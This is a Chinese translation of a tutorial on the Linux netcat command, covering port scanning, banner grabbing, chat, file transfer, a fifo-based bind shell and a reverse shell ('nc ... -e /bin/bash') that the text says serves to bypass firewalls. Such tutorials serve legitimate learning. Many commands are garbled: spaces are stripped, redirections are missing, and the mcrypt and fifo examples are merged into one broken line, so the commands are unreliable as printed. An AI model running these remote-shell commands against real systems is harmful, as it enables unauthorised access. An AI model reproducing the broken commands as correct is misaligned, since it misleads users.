当前位置: 首页 > Linux

LinuxNetcat命令——网络工具中的瑞士军刀

时间:2023-04-07 00:17:16 Linux

英文原文:LinuxNetcat命令——网络的瑞士军刀Netcat是网络工具中的瑞士军刀,它可以通过TCP和UDP在网络中读写数据.通过将它与其他工具组合并重定向,您可以通过多种方式在脚本中使用它。使用netcat命令可以做的事情真是太神奇了。netcat所做的只是在两台计算机之间建立链接并返回两个数据流,之后能做什么就看你的想象了。您可以设置服务器、传输文件、与朋友聊天、流媒体或将其用作其他协议的独立客户端。下面是一些使用netcat的例子。[A(172.31.100.7)B(172.31.100.23)]Linuxnetcat命令举例:1.端口扫描端口扫描经常被系统管理员和黑客用来寻找一些机器上开放的端口,帮助他们识别系统中的漏洞。$nc-z-v-n172.31.100.721-25可以运行在TCP或UDP模式,默认是TCP,-u参数调整为udp.z参数告诉netcat使用0IO,立即关闭连接连接成功后,不进行数据交换(感谢@jxing指点)v参数表示使用冗余选项(译者注:即verbose输出)n参数告诉netcat不要对IP地址的域名使用DNS反向查找此命令将打印从21到25的所有开放端口。横幅是文本,横幅是您所连接的服务发送给您的文本消息。当您尝试识别漏洞或服务的类型和版本时,横幅信息非常有用。但是,并非所有服务都发送横幅。找到开放端口后,您可以使用netcat轻松连接到该服务以获取其横幅。$nc-v172.31.100.721netcat命令将连接到开放的端口21并打印在该端口上运行的服务的标志信息。聊天服务器如果你想和你的朋友聊天,有很多软件和信息服务可以供你使用。但是,如果你没有这么豪华的配置,比如你在机房,所有的外部连接都被限制了,你怎么和整天坐在隔壁房间的朋友交流呢?别郁闷,netcat提供了这样的方法,你只需要创建一个Chat服务器,一个预先确定好的端口,他就可以联系到你了。Server$nc-l1567netcat命令在1567端口启动一个tcp服务器,所有的标准输出和输入都会输出到这个端口。输出和输入都显示在这个shell中。Client$nc172.31.100.71567你在机器B上输入的内容都会出现在机器A上。3.文件传输大多数时候,我们试图通过网络或其他工具来传输文件。方式有很多,比如FTP、SCP、SMB等等,但是当你只是需要临时或者一次传输文件的时候,花时间在你的机器上安装配置一个软件真的很值得。假设,你想从A传输一个文件file.txt到B。A或B可以用作服务器或客户端。下面设A为服务器,B为客户端。Server$nc-l1567file.txt这里我们在A上创建一个服务器,将netcat的输入重定向到文件file.txt,然后当任何端口连接成功,netcat将发送文件的文件内容。在客户端我们将输出重定向到file.txt,当B连接到A时,A发送文件内容,B将文件内容保存到file.txt。不需要创建文件源作为Server,我们也可以用相反的方法。如下图我们从B发送文件到A,但是服务器是在A上创建的,这次我们只需要重定向netcat的输出,重定向B的输入文件即可。B为ServerServer$nc-l1567>file.txtClientnc172.31.100.231567file.txt使用mcrypt工具加密数据。客户端$mcrypt–flush–bare-F-q-mecb&1|nc-l1567>/tmp/tmp_fifo这里我们创建一个fifo文件,然后使用pipeline命令将fifo文件的内容定向到shell2>&1。用于重定向标准错误输出和标准输出,然后管道到运行netcat的1567端口。到目前为止,我们已经将netcat的输出重定向到fifo文件。说明:从网络接收到的输入被写入fifo文件。cat命令读取fifo文件并将其内容发送到sh命令。sh命令进程获取输入并将其写回netcat。netcat通过网络将输出发送到客户端,说明它为什么成功,因为管道使命令并行执行,使用fifo文件而不是普通文件,因为fifo使读取等待,如果它是普通文件,cat命令将尽快结束并开始读取空文档。客户端直接连接服务器Client$nc-n172.31.100.71567会得到shell提示客户端反向shell反向shell是指在客户端打开的shell。反向shell之所以这样命名,是因为与其他配置不同,这里的服务器使用的是客户端提供的服务。在服务器端$nc-l1567在客户端只是告诉netcat在连接完成后执行一个shell。Client$nc172.31.100.71567-e/bin/bash现在,反向shell有什么特别之处反向shell通常用于绕过防火墙限制,例如阻止入站连接。比如我有一个专用IP地址172.31.100.7,我使用代理服务器连接外网。如果我想从外网访问本机如1.2.3.4的shell,那么我就使用reverseshell来达到这个目的。